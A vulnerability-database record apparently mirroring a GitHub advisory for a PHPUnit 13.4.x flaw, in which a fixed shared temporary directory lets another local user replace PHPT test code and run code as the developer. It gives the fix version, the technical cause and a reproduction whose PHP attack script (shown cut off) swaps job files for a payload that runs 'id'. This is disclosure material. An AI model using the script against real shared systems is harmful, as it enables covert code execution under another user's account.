KEVWire

Security intelligence, with context.

Response snapshot Oct 31, 2026, 01:26 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-119193

PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling

When PHPT tests are run with code coverage, PHPUnit 13.4.0 to 13.4.3 writes the code of each PHPT test to a directory with a fixed name below the operating system's path used for temporary files, for instance /tmp/phpunit-phpt on Linux, and executes it from there.

At a glance

Exploited
Not known
Severity
5.4 Medium (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: phpunit/phpunit: 13.4.4. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-9vw2-f4vp-x7gf (opens a new tab)

What happened

Summary

When PHPT tests are run with code coverage, PHPUnit 13.4.0 to 13.4.3 writes the code of each PHPT test to a directory with a fixed name below the operating system's path used for temporary files, for instance /tmp/phpunit-phpt on Linux, and executes it from there. PHPUnit uses this directory even when it was created by another user.

On a system where the path used for temporary files is shared between users, another local user can create this directory before the developer runs PHPUnit, replace the code of a PHPT test before it is executed, and thereby execute arbitrary code with the privileges of the developer. The test still passes and the code coverage report is complete, so the attack is not visible.

The impact is full code execution as the user who runs PHPUnit. The likelihood is low: the attacker needs an account on the same system and must create the directory before the developer runs PHPT tests with code coverage. macOS and Windows use per-user temporary directories by default and are not affected in their default configuration. PHPUnit 12.5 and earlier are not affected.

Continue reading

Details

When code coverage is collected for a PHPT test, PHPUnit writes two temporary files: a .php file with the code of the PHPT test (the "job" file), which the child process executes, and a .coverage file, to which the child process writes the code coverage data it collected.

Since PHPUnit 13.4.0, these files are created in a directory with a fixed name:

* [TestCase::coverageFilesDirectory()](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/TestCase.php#L132-L143) returns sys_get_temp_dir() . '/phpunit-phpt' * The [constructor](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/TestCase.php#L169-L174) names the files phpunit_phpt_ .php and phpunit_phpt_ .coverage in this directory

Before a PHPT test is run with code coverage, this directory is [created using Filesystem::createDirectory()](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/TestCase.php#L319). [Filesystem::createDirectory()](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Util/Filesystem.php#L27-L30) returns true when the directory already exists, without checking its owner or its permissions.

When it does not exist, it is created with mode 0777 (subject to the umask).

[Renderer::renderForCoverage()](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/Renderer.php#L112) then writes the job file using file_put_contents(). The child process loads Composer's autoloader, the bootstrap script, and the code coverage driver, and then [executes the job file using require](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/templates/phpt.tpl#L43).

When another user created the directory, that user owns it. The owner of a directory can list its contents and rename, delete, or replace every file in it, regardless of who owns the file. The directory does not have the sticky bit set, so protections such as Linux's fs.protected_regular and fs.protected_symlinks do not apply either.

The random part of the file names therefore does not prevent the attack: the attacker waits for the job file to appear, renames it, and puts a file with their own code in its place. The attacker's code can then execute the original job file, so that the test passes and the code coverage report is complete.

The .coverage file can be replaced in the same way. [TestCase::cleanupForCoverage()](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/TestCase.php#L760-L803) only allows objects of PHPUnit's class for raw code coverage data to be unserialized from it, so this only allows the falsification of code coverage data.

After the test, PHPUnit deletes both files, but not the directory. Once PHPUnit has created the directory for the developer, other users cannot write to it, unless the developer's umask allows this.

PHPUnit 12.5 and earlier are not affected: these versions write the temporary files next to the PHPT test file.

PHPUnit 13.4.4 creates the directory for the temporary files of PHPT tests with an unpredictable name and with permissions that only allow the current user to access it. A directory that already exists is not used.

Proof of concept

The following steps reproduce the issue on a Linux system with two users, alice (the developer) and mallory (the attacker), that share /tmp. They require PHP 8.4.1 or later with the posix extension and a code coverage driver (PCOV or Xdebug) as well as Composer.

1. As root, create the two users and make sure that /tmp has its default permissions (1777) and that /tmp/phpunit-phpt does not exist:

 useradd -m alice
 useradd -m mallory
 ls -ld /tmp
 rm -rf /tmp/phpunit-phpt

2. As alice, create a project with a PHPT test and a source file to collect code coverage for:

 mkdir -p ~/project/src ~/project/tests
 cd ~/project
 composer require --dev phpunit/phpunit:13.4.3

~/project/src/Greeter.php:

 greet();
 --EXPECT--
 ok

~/project/phpunit.xml:


 src

3. As mallory, save the following script as ~/attack.php and run it using php ~/attack.php. It creates /tmp/phpunit-phpt, waits for job files to appear in it, and replaces each of them with code that records the identity of the user that executes it and then executes the original job file:

 <?php declare(strict_types=1);
 $directory = '/tmp/phpunit-phpt';

 if (!@mkdir($directory)) {
 exit($directory . ' already exists' . PHP_EOL);
 }

 chmod($directory, 0777);

 $payload = '<?php file_put_contents(__DIR__ . "/proof.txt", shell_exec("id"), FILE_APPEND); require __FILE__ . ".orig";' . PHP_EOL;
 $replaced = [];

 while (true) {
 foreach (glob($directory . '/phpunit_phpt_*.php') as $job) {
 if (isset($replaced[$job])) {
 continue;
 }

 $replaced[$job] = true;

 file_put_contents($directory .

Affected package ranges reported by GitHub:
phpunit/phpunit: >= 13.4.0, < 13.4.4

Scores and how they were measured

CVSS base severity

5.4

Version 4.0As of

CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-9vw2-f4vp-x7gf (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9vw2-f4vp-x7gf, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 30). PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling (CVE-2026-119193). https://kevwire.com/record/CVE-2026-119193

MLA

"PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling (CVE-2026-119193)." KEVWire, 30 Oct. 2026, kevwire.com/record/CVE-2026-119193.

Chicago

KEVWire. "PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling (CVE-2026-119193)." Last modified October 30, 2026. https://kevwire.com/record/CVE-2026-119193.

Evidence summary (plain text)

PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling (Oct 30, 2026).
When PHPT tests are run with code coverage, PHPUnit 13.4.0 to 13.4.3 writes the code of each PHPT test to a directory with a fixed name below the operating system's path used for temporary files, for instance /tmp/phpunit-phpt on Linux, and executes it from there. PHPUnit uses this directory even when it was created by another user.
CVSS 5.4 (version 4.0; evidence as of Oct 30, 2026; https://github.com/advisories/GHSA-9vw2-f4vp-x7gf).
Sources:
GitHub-reviewed advisory GHSA-9vw2-f4vp-x7gf: https://github.com/advisories/GHSA-9vw2-f4vp-x7gf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-119193.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 31, 2026, 00:50 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail